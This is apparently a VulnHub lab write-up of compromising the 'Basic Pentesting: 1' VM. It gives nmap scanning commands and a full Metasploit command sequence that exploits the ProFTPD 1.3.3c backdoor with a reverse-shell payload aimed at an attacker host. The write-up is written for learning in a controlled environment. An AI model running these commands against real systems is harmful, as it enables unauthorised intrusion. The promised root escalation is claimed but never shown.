Basic Pentesting: 1
Vulnerability Assessment, Exploitation & Root Privilege Gain

@ArunVedha07

CONTENTS

1. Exploitation Project Documentation

1.1 Objective

The objective of this project is to demonstrate a basic penetration testing workflow within a controlled virtual environment. Using Kali Linux as the attacker machine and the Basic Pentesting: 1 VulnHub VM as the target system, the goal was to identify exposed services, analyze potential weaknesses, verify misconfigurations, and perform a safe proof of concept exploitation for learning and skill building purposes.

1.2 Requirements

This project was performed using the following tools and configurations:

- Kali Linux (Attacker machine)
- Basic Pentesting: 1 (VulnHub VM) (Target system)
- Nmap for host discovery, port scanning, and service enumeration
- Nmap NSE scripts for vulnerability verification
- Metasploit Framework for exploitation (if applicable)
- FTP/SSH/HTTP enumeration tools depending on service findings
- A screenshots directory containing evidence of each step performed

2. High-Level Summary

This assessment focused on identifying and exploiting service level vulnerabilities on the Basic Pentesting: 1 VulnHub machine.

The overall process involved:

- Scanning the target to identify active ports and running services
- Enumerating exposed services such as FTP, SSH, and HTTP
- Detecting weak configurations and potential attack vectors
- Confirming exploitable vulnerabilities through service analysis
- Executing a controlled proof of concept exploit to gain shell access
- Escalating privileges to obtain full root access

This project demonstrates a complete end to end penetration testing workflow and highlights practical skills in reconnaissance, enumeration, vulnerability discovery, exploitation, and post exploitation within a safe lab environment.

3. Basic Pentesting: 1 Exploitation Assignment

3.1 Initial Analysis

The engagement started with a basic network scan to identify which services were running on the target system.

```
nmap <target_IP> -A
```

Key findings:

- FTP service running on port 21
- Service fingerprint suggested a Linux based server
- Version detection indicated the FTP server might be vulnerable

3.2 Service Analysis

Focused enumeration was performed on the FTP service to identify potential weaknesses.

```
find / -name *.nse | grep ftp
nmap <target_IP> -p 21 -sV --script ftp-*
```

For confirmation, a specific NSE script targeting known ProFTPD issues was executed:

```
nmap --script ftp-proftpd-backdoor.nse <target_IP> -p 21 -sV
```

Results suggested:

- The target was running ProFTPD 1.3.3c
- This version is known to contain an existing backdoor vulnerability

3.3 Vulnerability Discovery

Vulnerability Identified:

- ProFTPD 1.3.3c Backdoor

Description:

This vulnerability allows attackers to execute arbitrary commands through a hidden backdoor in the ProFTPD service. Nmap script output and service version details confirmed that the target system was running this vulnerable version, making it exploitable.

3.4 Exploitation Steps

The ProFTPD 1.3.3c backdoor vulnerability was exploited using the Metasploit Framework. After confirming the service version, the following module was selected:

- exploit/unix/ftp/proftpd_133c_backdoor

The exploit was configured with the attacker and target details, and a simple reverse command payload was used to obtain shell access.

```
msfconsole
search proftpd type:exploit
use exploit/unix/ftp/proftpd_133c_backdoor
show payloads
set payload cmd/unix/reverse
options
set RHOSTS <target_IP>
set LHOST <attack_IP>
set LPORT 5522
exploit
```

3.5 Screenshots & Evidence

The following figures provide visual evidence of the exploitation process and confirmation of successful compromise:

01: Nmap initial scan showing open ports and identifying the FTP service.
02: NSE script discovery and FTP vulnerability scan confirming ProFTPD 1.3.3c backdoor exposure.
03: Metasploit search results for the ProFTPD exploit module.
04: ProFTPD backdoor exploit module selected and payload options displayed.
05: Payload configuration settings shown, including selected reverse command payload.
06: Final exploit configuration (RHOSTS, LHOST, LPORT) and execution output.
07: Successful shell access confirmed using whoami and hostname on the compromised system.

Screenshots are stored in the /screenshots directory as supporting evidence.